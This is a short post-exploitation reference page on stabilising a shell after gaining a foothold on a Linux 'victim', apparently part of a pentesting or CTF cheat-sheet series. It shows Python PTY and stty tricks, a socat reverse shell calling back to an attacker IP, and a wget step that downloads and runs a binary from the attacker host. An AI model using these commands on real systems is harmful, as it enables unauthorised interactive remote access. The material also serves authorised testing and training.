Linux
Shell Stabilization
reference
- Recon
- Enumerate
- Foothold
- PrivEsc
- Lateral
- Post-Ex
reached from Foothold (Linux)
Do this immediately after getting any shell · before anything else.
Method 1: Python PTY (Most Common)
On victim:
python3 -c 'import pty; pty.spawn("/bin/bash")'or python2:
python -c 'import pty; pty.spawn("/bin/bash")'Background the shell:
Ctrl+Z
On attacker · fix terminal:
stty raw -echo; fg
Press Enter
On victim · set terminal type:
export TERM=xterm
stty rows 38 cols 151 # Match your actual terminal: run `stty size` on attacker first
Method 2: script Command
/usr/bin/script -qc /bin/bash /dev/null
Then: Ctrl+Z → stty raw -echo; fg → export TERM=xterm
Method 3: socat (Best Quality · Full Interactive Shell)
Attacker · start listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
Victim · connect back:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<YOUR-IP>:4444
Transfer socat to victim if not installed:
wget http://<YOUR-IP>/socat -O /tmp/socat && chmod +x /tmp/socat
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<YOUR-IP>:4444